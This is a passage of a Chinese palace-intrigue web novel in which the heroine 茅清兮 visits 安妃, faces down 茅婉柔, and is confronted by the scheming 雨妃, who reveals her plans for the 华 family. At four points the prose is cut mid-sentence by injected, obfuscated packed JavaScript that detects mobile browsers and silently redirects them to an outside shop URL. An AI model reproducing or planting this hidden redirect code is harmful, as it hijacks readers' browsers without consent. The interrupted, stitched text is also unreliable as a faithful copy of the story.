茅清兮见他话里有话,便顺着他的意思问道:“公公的意思是,这宫里如今最得宠的,是那位新来的雨妃娘娘?” 平公公点了点头,又摇了摇头,欲言又止。 茅清兮心中一动,试探着问:“这雨妃娘娘,可是华家的人?” 平公公一惊,下意识地捂住了嘴,好一会儿才反应过来,连连点头。 他深吸一口气,像是下定了决心: “臧夫人,奴婢斗胆多说一句,这后宫的水深着呢,您可千万小心。明明郡主的事,怕是没那么简单。” 茅清兮微微颔首,表示明白。 她心中暗自思忖,华家的人进了宫,还成了雨妃,这背后怕是有什么阴谋。看来,她得好好查查这位雨妃的底细。 不多时,平公公便将茅清兮领到了安妃的寝宫。 比起尹贵妃栖鸾殿的雕梁画栋,金碧辉煌,安妃的宫殿显得格外素雅。没有过多的装饰,只在窗边摆了几盆兰花,墙上挂着几幅字画,透着一股子清冷的味道。 平公公弓着腰,轻手轻脚地走进殿内,尖着嗓子通报: “娘娘,臧夫人到了。” “让她进来吧。” 安妃的声音从内殿传来,听不出喜怒。 茅清兮深吸一口气,整了整衣襟,迈步走了进去。 “臣妇茅清兮,参见安妃娘娘。” 她按照规矩,恭恭敬敬地行了个礼。 “起来吧。” 安妃的声音淡淡的,听不出什么情绪。 “谢娘娘。”茅清兮缓缓起身,微微抬起头,打量着这位深居简出的安妃娘娘。 这是她第一次见到安妃,只见她穿着一身素色的宫装,头上只簪了一支简单的玉钗,整个人看起来清清淡淡的,像是一朵开在深谷里的幽兰。 第三百四十九章 “臧夫人可是觉得,本宫与传闻中不太一样?” 安妃像是看穿了茅清兮的心思,突然开口问道。 茅清兮微微一怔,连忙低下头,不敢再多看。 “臣妇不敢。” “你心里一定在想,本宫为何如此……不争不抢,对吧?” 安妃自顾自地说着,语气中带着一丝自嘲。 “本宫这张脸,注定了本宫的命运。像她,却又不是她,这便是本宫存在的意义。” 茅清兮听得云里雾里,不知道安妃口中的“她”指的是谁。 她正想开口询问,安妃却突然抬起头,直勾勾地盯着她,像是要把她看穿。 “臧夫人,你可知,苏将军为何会与本宫合作?” 茅清兮摇了摇头,表示不知。 安妃轻笑一声,眼神变得有些飘忽: “因为他厌恶本宫,厌恶本宫身上这与那人相似的气质。而本宫……也同样厌恶。” 她顿了顿,又像是想起了什么,语气变得低沉: “苏将军曾说过,长得像别人,本身就是一种悲哀。可本宫不这么认为,悲哀的不是这张脸,而是这张脸背后的……命运。” 茅清兮隐隐明白了什么,她试探着问道:“娘娘可是……有什么难言之隐?” 安妃没有回答,只是定定地看着她,眼神复杂难辨。 就在这时,明明郡主突然从外面闯了进来,打断了两人之间的对话。 “姑姑,您别听那些人胡说八道,我自己的事,我自己跟您说!” 明明郡主说着,径直走到茅清兮身边,紧挨着她坐下,一副要跟安妃坦白的架势。 安妃被她这突如其来的举动弄得有些懵,带着困惑的眼神打量她,不明白她要做什么。 明明郡主深吸一口气,像是下定了决心,她先是转头看了茅清兮一眼,眼神中带着一丝歉意,然后才看向安妃,一字一句地说道: “姑姑,有件事,我一直瞒着您。吴容远远他……他压根不是太子的心腹,他是苏将军的人!” 安妃闻言,脸色大变,猛地站起身来,指着明明郡主,声音颤抖得不成样子: “你……你说什么?你再说一遍!” 她像是受了极大的打击,身体晃了晃,差点儿没站稳。 “姑姑,您别激动,听我说完。” 明明郡主连忙扶住她,语气平静得有些反常。 “吴容远远他这些年,一直都在韬光养晦,故意与太子保持距离,不就是为了不让您为难吗?您以为他真的对那些权势地位感兴趣吗?他所做的一切,都是为了您!” 安妃像是被抽走了全身的力气,一下子瘫坐在椅子上,眼神空洞,喃喃自语: “不可能……这不可能……” “姑姑,您别再自欺欺人了,”明明郡主的声音里带着一丝哽咽,“臧夫人早就知道了您和周大人的事,我……我也知道了。周大人和苏将军私下达成协议,他帮苏将军做事,苏将军就放他离开京城。” 安妃听到这里,猛地抬起头,眼中闪过一丝希望的光芒: “离开京城?他真的要走了?” 明明郡主点了点头,语气坚定: “是,他要走了,永远离开这个地方。” 安妃像是听到了什么天大的好消息,脸上露出了如释重负的笑容。 她紧紧地抓住明明郡主的手,声音颤抖: “好……好……这样也好……” 她像是想起了什么,眼神又黯淡了下来: “可他走了,我怎么办?” 明明郡主看着她,心中一阵酸楚。 她知道,姑姑和吴容远远之间,隔着的不仅仅是这高高的宫墙,还有这世俗的偏见,以及这**的皇权。 “姑姑,您还有我,我会一直陪着您的。” 她紧紧地抱住安妃,声音哽咽。 安妃轻轻地拍着她的背,像是安慰她,又像是在安慰自己: “好孩子,姑姑知道,姑姑都知道……” 她抬起头,看向窗外那一片被宫墙围起来的天空,眼神迷离: “这牢笼一样的皇宫,终于要放走一个人了……” 她紧紧地捂住胸口,那里像是有一团火在烧,烧得她五脏六腑都疼。 可她却笑了,笑得那么凄凉,那么悲伤。“唔……” 安妃的指甲几乎要嵌进肉里,面上却死死绷着,不肯泄露半分情绪。 只有微微颤抖的睫毛,暴露了她内心的兵荒马乱。 茅清兮明白,这深宫之中,最不缺的就是秘密。 有些事,一旦见了光,就再也藏不住。 她福了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664695|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福身,轻声道:“臣妇告退,不扰娘娘清静。” 话音未落,她便转身离去,步履沉稳。 身后,是无尽的沉默。 安妃没有挽留,甚至没有抬头看她一眼。 只是疲惫地挥了挥手,示意宫女送客。 那只曾握过笔杆、舞过刀剑的手,此刻却虚弱得连抬起都费力。 明明郡主静静地站在一旁,看着安妃。 她的眼神很复杂,像一口幽深的古井,望不见底。 她看到了,姑姑脸上的痛苦,像被撕开了一道口子,鲜血淋漓。 那些深埋心底的爱恋,那些不能言说的秘密,在这一刻,全都暴露无遗。 明明郡主忽然想起,自己从前每次进宫,都要缠着姑姑说个不停。 “姑姑!周大人送了我好多好吃的,还有这个,您看,好看吗?” 她献宝似的,将吴容远远送的礼物一一展示给安妃看。 却从未发现,姑姑眼中那一闪而逝的黯然。 那是一种怎样的心情啊? 想听,却又不敢听。 想见,却又不能见。 只能从别人的口中,拼凑出心上人的点点滴滴,聊以慰藉。 “明明,”安妃的声音很轻,像是怕惊扰了什么,“周大人他……可还好?” 她问得小心翼翼,每一个字都像是从嗓子眼里挤出来的。 明明郡主摇了摇头,眼神空洞:“我不知道,他……不肯见我。” “不见你?”安妃愣住了,“他不是很喜欢你吗?每次你来京城……” “姑姑,”明明郡主打断了她的话,自嘲地笑了笑,“这家伙玩消失两年有余。这次要不是我……他选择彻底把我当空气。” “为什么?”安妃的声音有些发颤,她不明白。 明明郡主抬起头,看着安妃,眼神中带着几分探究,几分了然。 “姑姑,您让我去找他,是不是……只想知道他的消息?” 她终于问出了口,那些曾经被忽略的细节,在这一刻,全都串联了起来。 她想起第一次见到吴容远远时,他送的那些书。 她看不懂,也从未在意,只是随手丢在安妃的宫殿里,后来便不知所踪。 她想起那些年,吴容远远带她去看花灯,送她的礼物…… 第三百五十章 桩桩件件,都指向一个答案。 一个她不愿承认,却又不得不承认的答案。 “姑姑,您为什么不早点告诉我?”明明郡主的声音里带着哭腔,“您要是早点告诉我,我就不会……” “明明……”安妃的心,像是被什么东西狠狠地撞了一下。 她走到明明郡主面前,望着她耷拉着的小脑瓜,心中涌起一阵阵的酸楚。 “姑姑!”明明郡主再也忍不住,扑进安妃怀里,嚎啕大哭。 “他喜欢的是您!一直都是您!他躲着我,是因为他心里只有您!” “我算什么?我只是个传话的!一个傻子!” 安妃如遭雷击,整个人都僵在了那里,像是被点了穴道。 她瞪大了眼睛,看着怀里哭得不能自已的明明郡主,嘴唇颤抖着,却说不出一个字。 “我对他已经完全死心了……再也不……” 明明郡主哭得上气不接下气,安妃张了张嘴却说不出半句暖心话。 她只能紧紧地抱着明明郡主,任由她的泪水,将自己的衣襟浸湿。 - 出了安妃的宫殿,茅清兮长长地舒了一口气。 平公公亦步亦趋地跟在她身后,送她出宫。 “娘娘早年失子,是苏将军查出了真相,娘娘感念苏将军恩德,才会对他多有照拂。” 平公公压低了声音,像是怕被别人听了去。 茅清兮微微颔首,表示理解。 后宫之中,从来都不是风平浪静。 那些看似巧合的意外,往往都是精心策划的阴谋。 平公公又说了一些宫里的趣事,但都避开了安妃的私密。 “这不是臧夫人吗?” 突然,一个娇媚的声音打断了他们的谈话。 茅清兮抬眼望去,只见几个宫装女子,正朝这边走来。 为首的,正是茅婉柔。 她脸上带着几分得意,几分挑衅。 “臧夫人见了本宫,怎么不行礼?” 茅婉柔的声音不大,却足以让周围的人都听得清清楚楚。 平公公连忙躬身行礼:“奴才给宋栖雅请安,给王美人请安。” 茅清兮的目光落在茅婉柔身上,淡淡地扫了她一眼。 “妹妹如今是宫里的栖雅了,规矩自然不能少。” 茅婉柔微微抬起下巴,一副高高在上的模样。 “只是,妹妹也别忘了,自己是陆府的女儿。” “别让外人看了笑话,说咱们陆府没规矩。” 跟在茅婉柔身后的王美人,神色有些尴尬。 她虽然平时跟宋栖雅走得近,但也不敢轻易得罪苏将军的夫人。 毕竟,苏将军可不是好惹的。 茅婉柔说完,便等着茅清兮给她行礼。 可等了半天,茅清兮却只是站在那里,没有丝毫要行礼的意思。 “怎么?臧夫人这是要抗旨不尊?” 茅婉柔的脸色沉了下来。 “臣妇不敢。”茅清兮的声音很平静,“只是不知道,臣妇何处得罪了娘娘,竟要让臣妇下跪?” “你!”茅婉柔被她噎得说不出话来。 “茅清兮,你别忘了,这里是皇宫!” “来人,给本宫掌嘴!” 茅婉柔一声令下,她身边的宫女立刻上前,就要动手。 “住手!”平公公急了,连忙挡在茅清兮面前。 “娘娘三思,臧夫人可是一品诰命!” “哪来的阉人,也敢在本宫面前撒野?” 那宫女仗着茅婉柔撑腰,根本不把平公公放在眼里。 她抬脚就要踹平公公,却被茅清兮一把抓住脚踝,狠狠一拧。 “啊!” 一声惨叫,那宫女跌倒在地,捂着脚踝,疼得直抽气。 “茅婉柔,你这宫女,可真没规矩。” 茅清兮的声音很冷,像是淬了冰。 “在宫里当差,连个轻重都没有,可见你平日里,也是这么教导下人的。” “你……你敢打我的人?!”茅婉柔气得脸色发白。 “怎么?只许你打我的人,就不许我还手了?”茅清兮冷笑一声。 “茅清兮,你别忘了,这里是皇宫!” 茅婉柔指着茅清兮,厉声喝道。 “来人,把她给我拿下!” 她身边的另一个宫女见状,立刻上前,想要制住茅清兮。 却在这时,一个清冷的声音传来: “住手!这是做什么?” 众人循声望去,只见一个身着雪白宫装的女子,正缓缓走来。 王美人一见到来人,立刻跪了下去:“奴婢给雨妃娘娘请安!” 雨妃? 茅清兮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664696|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中一动。一阵低低的惊呼,众人慌忙垂首,敛息行礼。 茅清兮的视线不动声色地从那道身影上掠过,在新来者那张出众到令人一见难忘的脸上微微一顿,眸光微敛,随即也垂下了头。 “见过雨妃娘娘。”整齐的声音带着敬畏。 被众人簇拥着的雨妃,莲步轻移,缓缓行至近前。 她身着一袭雪白宫装,裙摆上绣着几枝傲雪寒梅,随着她的走动,仿佛有暗香浮动。 她微垂眼睫,目光在几人身上淡淡扫过,最终停在了茅清兮的身上,眼神中带着几分审视。 “这是……”雨妃朱唇轻启,声音清冷如珠玉落盘。 她身旁一位年长的嬷嬷立刻上前一步,恭敬地代为询问:“回娘娘的话,奴婢瞧着,像是起了些争执。” 这嬷嬷是雨妃从华府带来的,一向深得雨妃信任,在宫中也颇有几分体面。 茅婉柔与身旁的王美人交换了一个眼神,心中暗喜。 王美人平日里与茅婉柔交好,此刻自然是向着她的。 “雨妃娘娘容禀,”茅婉柔抢先开口,声音里带着几分委屈,“臣妾的姐姐方才出言不逊,顶撞了臣妾,臣妾正欲劝诫她几句,并无争执。” 茅清兮听了,心中冷笑。 这茅婉柔,颠倒黑白的本事倒是越发见长了。 雨妃的目光落在茅清兮身上,似乎带着无形的压力。 茅清兮心头一沉,面上却依旧维持着恭敬的神色。 雨妃朱唇轻启,声音清冽:“宋栖雅的姐姐?可是臧夫人?” “回娘娘,正是臣妇。”茅清兮低眉顺眼地应道,不敢有丝毫怠慢。 “你……”茅婉柔急于表现,正要开口,却被雨妃一个眼神制止。 她硬生生将后面的话咽了回去,心中暗恨。 “姐姐她自恃身份,一向目中无人。”茅婉柔不甘心地补充了一句,声音低了下去。 “臧夫人,”雨妃并未理会茅婉柔,而是径直看向茅清兮,“本宫听闻,苏将军骁勇善战,忠心耿耿,乃国之栋梁。想来,他的夫人也定是知书达理,贤良淑德之人。” 这话说得极有技巧,既抬高了苏将军,又暗指茅清兮若有不当之处,便是给陆家抹黑。 茅婉柔听了,心中一喜,只当雨妃这是要替她出头了。 她得意地看向茅清兮,等着看她出丑。 第三百五十一章 “娘娘谬赞了,臣妇愧不敢当。”茅清兮不卑不亢地回道,“臣妇谨遵家训,不敢有辱门楣。” 雨妃深深地看了她一眼,没有再说什么,只是淡淡地吩咐道:“都起来吧。” “谢娘娘。”众人纷纷起身,各自归位。 茅婉柔却不肯罢休,她见雨妃没有直接责罚茅清兮,心中不忿,又道:“娘娘有所不知,臣妾这姐姐,素来心高气傲,在闺中时便……” “宋栖雅。”雨妃打断了她的话,语气虽淡,却带着不容置疑的威严,“本宫乏了,想回宫歇息。” 茅婉柔一怔,后面的话被堵在了喉咙里,脸色一阵青一阵白。 她怎么也没想到,雨妃竟会如此不给她面子。 平日里那些关于雨妃的传闻,以及她方才进宫后对雨妃的揣测,在这一刻都化为了恐惧。 她忽然意识到,自己似乎招惹了一个不该招惹的人。 雨妃的目光从她身上淡淡扫过,带着几分冷意。 茅婉柔只觉得一股寒气从脚底直窜上来,浑身僵硬,动弹不得。 她张了张嘴,想要说些什么,却什么声音也发不出来。 雨妃不再看她,而是转向茅清兮,声音缓和了几分:“臧夫人,本宫与你,也算有些渊源。今日难得相见,不如随本宫到玉棠宫小坐片刻,如何?” 茅清兮心中一动,面上却不动声色:“臣妇理应拜见娘娘,只是怕叨扰了娘娘清净。” “无妨,”雨妃淡淡一笑,“本宫也想与你叙叙旧。” “那……臣妇便恭敬不如从命了。”茅清兮微微欠身,应了下来。 平公公在一旁看得心惊胆战,却又无可奈何。 他虽是安妃身边的人,可雨妃的地位,远非安妃可比。 他只能眼睁睁地看着茅清兮跟着雨妃离开,心中暗暗祈祷,希望她能平安无事。 玉棠宫内,布置得雅致而清幽。 殿内燃着淡淡的熏香,并非寻常宫殿里用的龙涎香,而是一种清冽的梅花香。 雨妃在主位上落座,示意茅清兮坐到下首的椅子上。 待宫女奉上茶后,雨妃挥了挥手,屏退了左右。 一时间,殿内只剩下她们二人,气氛有些微妙。 茅清兮端起茶盏,轻轻地抿了一口,没有说话。 她知道,雨妃,或者说林臧雨,定然有话要对她说。 果然,林臧雨开口了,声音中带着几分感慨:“茅清兮,没想到,我们还会以这样的方式见面。” 茅清兮放下茶盏,抬眸看向她,目光平静:“是啊,我也没想到,‘死去’的冀大夫人,竟会摇身一变,成了皇上宠冠后宫的雨妃娘娘。” 林臧雨笑了笑,笑容中带着几分自嘲:“这世上的事,又有谁能说得准呢?” “娘娘好手段,瞒天过海,偷梁换柱,当真令人叹为观止。”茅清兮淡淡地道。 “过奖了。”林臧雨并不否认,“若不如此,我又怎能摆脱那牢笼般的秦府?” “只是,”茅清兮话锋一转,“娘娘就不怕,有朝一日,真相大白?” 林臧雨看着她,眼神幽深:“你以为,有谁会不知道?又有谁,敢说出去?” 她的声音很轻,却带着一种令人不寒而栗的自信。 茅清兮沉默了片刻,忽然问道:“绮巧,也是你的人?” 林臧雨微微一笑,没有回答,只是反问道:“你觉得呢?” 茅清兮看着她,忽然笑了:“看来,我之前的猜测,并没有错。” 她顿了顿,又道:“娘娘今日请我来,恐怕不只是为了叙旧吧?” “当然。”林臧雨收敛了笑容,正色道,“我只是想提醒你一句,凡事,适可而止。” “多谢娘娘提醒。”茅清兮淡淡地道,“不过,我这人向来不喜欢被人威胁。娘娘的手段,还是留给别人吧。” 说完,她起身,向林臧雨微微一礼:“时辰不早了,臣妇也该告退了。” 林臧雨没有挽留,只是看着她的背影,眼神晦暗不明。 “娘娘,就这么让她走了?”绮巧不知何时出现在林臧雨身后,轻声问道。 “不然呢?”林臧雨端起茶盏,轻轻地吹了吹,淡淡地道,“她可不是那么容易对付的。” “那……”绮巧欲言又止。 “放心,她翻不出什么浪花来的。”林臧雨的眼中闪过一丝冷意,“好戏,还在后头呢。”“娘娘说的,莫非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672279|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是圣上?”茅清兮抬眸,直视着林臧雨,语气中带着几分试探。 “和明白人交谈就是省心,”林臧雨轻笑一声,指尖轻轻摩挲着手中的茶盏,话锋一转,“像你这般聪慧的女子,若不是跟了冀容白……唉。” 她笑着摇了摇头,眼底却无半分笑意,像是惋惜,又像是嘲弄。 “要是让霜芸知道,我竟如此待她的女儿,不知她在九泉之下,会不会怨我。” 茅清兮目光沉静,语气平淡:“娘娘会在乎吗?我记得当年,我娘、长公主,还有您,可是京中有名的好姐妹呢。” “是啊,当年我们几个,确实无话不谈。”林臧雨微微垂眸,语气中带着一丝追忆,似乎陷入了回忆之中。 “不见得吧。”茅清兮毫不客气地拆穿,语气中带着一丝尖锐,“娘娘是华家家主这件事,我娘不知道,长公主估计也是一头雾水?” 林臧雨脸上的浅笑,像是被风吹散了一般,缓缓褪去。她抬起头,眼神复杂地看着茅清兮。 “人与人之间,哪有那么多坦诚。”她没有直接回答,反而轻描淡写地说了这么一句,像是感叹,又像是为自己辩解。 “正如令堂一直对我隐瞒玄机图,我,自然也有事瞒着她。” 茅清兮的指甲深深地嵌入掌心,竭力控制着自己的情绪,声音却仍旧有些颤抖:“我娘的死……和您有关系吗?” “直接关系倒是没有。”林臧雨轻轻地摇了摇头,似乎觉得这个问题有些可笑。 “不过……”她话锋一转,语气变得有些阴冷,“她死后,我确实派人去找过玄机图,想看看这传闻中的宝物,究竟有何神奇之处。只可惜,那些废物一无所获。” 茅清兮的脸色瞬间变得煞白,仿佛被一层寒霜覆盖。 她想起义父茅文昭提过的盗墓之事,心中虽然愤怒,但更多的却是疑惑。 那些人既然是林臧雨派去的,为何要大费周章地翻找娘亲的棺椁?难道玄机图会在那里? 压抑许久的愤怒,像是一把火,在茅清兮的心中熊熊燃烧。 “娘娘放心,”她咬紧牙关,一字一顿地说道,声音中充满了怨恨与讥讽,“就算到了九泉之下,我娘也未必愿意见到您! 第三百五十二章 ” “但愿如此。” 林臧雨对于茅清兮的嘲讽,似乎并不在意,她轻轻地叹了口气,仿佛早已看透了生死,看淡了恩怨。 “我今日让你过来,是想给你们提个醒。”她话锋一转,语气变得严肃起来,目光如炬,紧紧地盯着茅清兮,“吴容远远若是继续查下去,这条路,只会是死路一条。” 茅清兮心头一震,一股寒意瞬间传遍全身。 她和冀容白刚刚与吴容远远见过面,商议对策,林臧雨竟然这么快就知道了? 难道说,吴容远远身边一直有人监视? 是户部的人?还是……更可怕的存在? 各种猜测在茅清兮的脑海中翻滚,让她心乱如麻。 林臧雨的声音再次响起,带着不容置疑的威严,仿佛掌控一切的女王:“太子乃是国之储君,他的地位,无人可以撼动。” 茅清兮紧蹙眉头,心中疑虑更甚,她盯着林臧雨,沉声问道:“娘娘作为华家掌舵人,难道是想借太子之势,让华家凌驾于其他世家之上?” 林臧雨微微颔首,眼中闪过一丝毫不掩饰的野心:“华家沉寂太久,是时候重现辉煌了。” “可就算如此,您也没必要亲自入宫。”茅清兮提出质疑,语气中带着一丝困惑,“有林皇后在,只要太子顺利登基,华家自然会成为皇亲国戚,荣耀无限。” “林臧栖?”林臧雨嗤笑一声,眼中充满了轻蔑,“你觉得,她能成什么事?这些年,若不是我在背后运筹帷幄,太子能走到今天这一步?” 林臧雨身上,始终萦绕着一股淡淡的佛香,这股气息,仿佛与这充满阴谋算计的皇宫格格不入。 岁月似乎对她格外优待,并未在她脸上留下太多痕迹,若非极其熟悉之人,根本认不出眼前这位风华绝代的宠妃,竟是当年名动京城的华家家主。 这后宫之中,除了圣上和皇后,恐怕无人知晓她的**。 然而,有圣上宠爱,皇后根本不敢揭穿她,否则,一旦林臧雨取而代之,皇后的位置便岌岌可危。 正因如此,林臧雨才如此有恃无恐。 但如今,她却一反常态,似乎不再打算隐藏自己的身份和野心,这背后,究竟隐藏着什么? 茅清兮心中充满了疑惑,她看着林臧雨,试图从她的脸上看出些端倪。 “所以,”她顿了顿,继续问道,“娘娘现在是打算利用圣上对您的宠爱,催促太子即刻继位?可您别忘了,圣上心里,其实另有人选。” 林臧雨笑了,笑得意味深长,让人捉摸不透:“时机成熟,陛下定会应允。” 茅清兮紧锁眉头,心中的疑团越来越大。 从进门到现在,林臧雨所说的每一句话,每一个字,似乎都暗藏玄机。 林臧雨想要扶持太子上位,让华家成为天下第一世家。 可冀容白呢?他可是林臧雨的亲生儿子! 如果林臧雨早有此意,为何不在冀容白年幼时悉心培养,反而等到母子离心后,才转而扶持太子? 难道……这其中另有隐情? 茅清兮心中隐隐觉得不安。 “除夕夜,将你关进诏狱的人,是我。”林臧雨突然开口,打断了茅清兮的思绪。 她的语气很平静,像是在陈述一件微不足道的小事。 “我跟你们夫妻二人交过手,才明白太子跟你们斗,毫无胜算。所以,我必须进宫,只有在这里,我才能更好地帮他,让他坐稳太子之位,将来……继承大统。” “华家,会成为这世间独一无二的存在。”林臧雨眼中闪烁着耀眼的光芒,那是毫不掩饰的野心和欲望。 若有她在圣上身边出谋划策,冀容白所有的优势,都将化为乌有。 “可他是您的亲骨肉!”茅清兮深吸一口气,还是忍不住问出了心中最大的疑惑,“若是您能相助于他,不是一样可以达成目的吗?” “你觉得冀容白会乖乖听我的话吗?”林臧雨反问道,语气中带着一丝嘲弄。 “太子又岂会如此?”茅清兮立刻反驳。 林臧雨的野心昭然若揭,可她究竟想做什么? 垂帘听政? 把控朝纲? 亦或是……更可怕的图谋? 茅清兮不敢再深想下去,只觉得一阵阵寒意从心底升起。 太子身边,有那么多忠心耿耿的臣子,他们绝不会允许一个女人干涉朝政。 “妇人之见!”林臧雨轻哼一声,打断了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672280|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茅清兮的思绪,“你根本不了解朝堂,不了解那些所谓的忠臣良将。” 她顿了顿,语气变得幽深而诡异:“这么和你说吧,太子能有今天,全都是我一手扶持。他的太子之位,是我帮他谋划的;他身边的那些谋士,是我替他挑选的。那些明面上拥护他、保护他的人,实际上,手下全是我的亲信!” 茅清兮如遭雷击,整个人都僵住了。 她瞪大了眼睛,难以置信地看着林臧雨,只觉得一股寒气从脚底直窜头顶,让她浑身发冷。 如果林臧雨说的都是真的,那岂不是说,从圣上起兵**开始,华家就已经在暗中布局? 二皇子的死,兰陵堡的**,白苏道长,孔谋…… 所有的一切,难道都是林臧雨在幕后操纵? 她的野心,她的图谋,究竟有多大?难道仅仅是想做一个幕后操纵朝政的女人? 还是说……她想让华家的人,登上那至高无上的皇位?! 茅清兮越想越觉得心惊胆战,她甚至不敢相信自己的猜测。 不可能的,这太荒谬了! 华家如果真的敢篡位**,必定会成为众矢之的,被天下人唾弃! 她努力地让自己冷静下来,深吸一口气,平复着剧烈跳动的心脏。 “娘娘今日为何要对我说这些?”茅清兮强压下心中的震惊与不安,声音微微颤抖,“您就不怕……我们早有准备,坏了您的好事吗?” 林臧雨轻轻地摇了摇头,嘴角的笑容愈发诡异,眼中闪过一丝精光:“已经太迟了,一切都来不及了。” 什么来不及了? 茅清兮心中“咯噔”一声,一种强烈的不祥预感涌上心头。 她还想再问,可就在这时,门外突然传来一声尖锐的通报,打破了这紧张的气氛: “皇上驾到——” 林臧雨脸上的神情瞬间收敛,所有的野心、算计、欲望,都消失得无影无踪。 她又变回了那个超然脱俗、不问世事的女子,安静地坐在那里,姿态优雅。 在圣上踏入殿内的那一刻,她缓缓起身,微微俯身行礼,声音轻柔而恭敬:“臣妾参见陛下。”“雨芸,跟你说过多少次了,你我之间,不必拘这些虚礼。 第三百五十三章 ” 圣上疾步上前,小心翼翼地扶起林臧雨,指尖轻颤,仿佛生怕一个不小心,便会惊扰了眼前人。 林臧雨却只是微微侧身,避开了他伸来的手,语气疏离: “陛下,君臣之礼,不可废。” 圣上眼中一黯,转瞬又恢复如常,眼底是化不开的柔情,似乎只要能这样看着她,便已心满意足。 他缓缓收回手,轻声问道: “雨芸今日可还安好?用了些什么?可有哪里不适?” 语气关切,却又带着几分小心翼翼,生怕惹恼了她。 林臧雨只是淡淡地“嗯”了一声,惜字如金。 可这一个音节,便足以让圣上展露笑颜,仿佛得了什么天大的赏赐一般。 两人落座,一旁的宫女绮巧,早已将茶水备好。 林臧雨端起茶盏,轻轻吹了吹,却并未递给圣上,而是自己浅啜了一口。 圣上见状,也不恼,只是眼巴巴地望着她,目光灼热。 绮巧见状,连忙又倒了一杯,双手捧着,呈送至龙椅之前。 圣上一愣,随即露出一个略带尴尬的笑容,接过茶盏,一饮而尽。 滚烫的茶水顺着喉咙滑下,圣上却浑然不觉,只顾着傻笑。 “还是雨芸这里的茶好……” 他咂咂嘴,似乎还在回味, “我真想……就这么一直陪着雨芸……” “陛下慎言,” 林臧雨放下茶盏,目光扫过跪在地上的茅清兮, “臧夫人还在此处。” 圣上这才回过神来,目光落在茅清兮身上,眉头微微皱起。 他这才想起,自己来玉棠宫,可不是为了与林臧雨叙旧的。 “臧夫人怎会在此?” 他语气中带着几分不悦。 “是臣妾邀臧夫人来的。” 林臧雨轻声解释, “安妃身子不适,臣妾便代她,请臧夫人进宫,说说话。” “安妃?” 圣上看向茅清兮, “她又怎么了?” 茅清兮垂首,恭敬答道: “回陛下,是明明……说是想学些拳脚功夫,安妃娘娘便想让臣妇指点一二。” “哦?还有这等事。” 圣上端起茶盏,轻轻摩挲着, “明明那丫头,倒是有些志气。” 他放下茶盏,吩咐身旁的吉公公: “去,挑些上好的绸缎,给明明郡主送去,就说……让她好好学,莫要丢了皇家的脸面。” 吉公公躬身领命,退到一旁。 圣上的目光重新回到茅清兮身上: “你答应了?” “臣妇不过是会些花拳绣腿,哪敢应承?” 茅清兮语气谦卑。 “哼,看来你还懂得认清自己。” 圣上冷哼一声,语气中带着明显的厌恶,全然不似方才对林臧雨那般温柔。 他想起冀容白为了这个女人,三番五次顶撞自己,心中便一阵烦闷。 “陛下,” 林臧雨忽然开口, “臣妾听闻,苏将军对臧夫人,可是宠爱得紧呢。” 她顿了顿,语气中带着一丝玩味, “京中都传遍了,说苏将军冷面冷心,唯独对臧夫人,百依百顺,柔情似水。陛下可知,此事是真是假?” 圣上闻言,脸色一沉。 他当然知道! 冀容白那逆子,为了茅清兮,什么荒唐事都做得出来! 他强压下心中的怒火,沉声道: “不过是些捕风捉影的传言罢了。” “哦?是吗?” 林臧雨似笑非笑, “可臣妾瞧着,臧夫人倒不像是会说谎的人。” 她转头看向茅清兮, “臧夫人,你说呢?” 茅清兮依旧低着头,让人看不清她的表情: “臣妇……不敢妄言。” “不敢?” 林臧雨轻笑一声, “是不敢,还是不能?” 她起身,缓缓走到茅清兮面前,居高临下地看着她, “本宫这里,有些新制的点心,臧夫人可要尝尝?” 说着,她示意绮巧将点心端上来。 绮巧端着一碟精致的点心,走到茅清兮面前。 茅清兮抬头,只见那点心,竟是用上好的桃花瓣制成,色泽粉嫩,香气扑鼻。 她心中一凛,这桃花饼…… “臧夫人,请吧。” 林臧雨的声音,再次响起,带着一丝不容拒绝的意味。 茅清兮犹豫了一下,伸手接过。 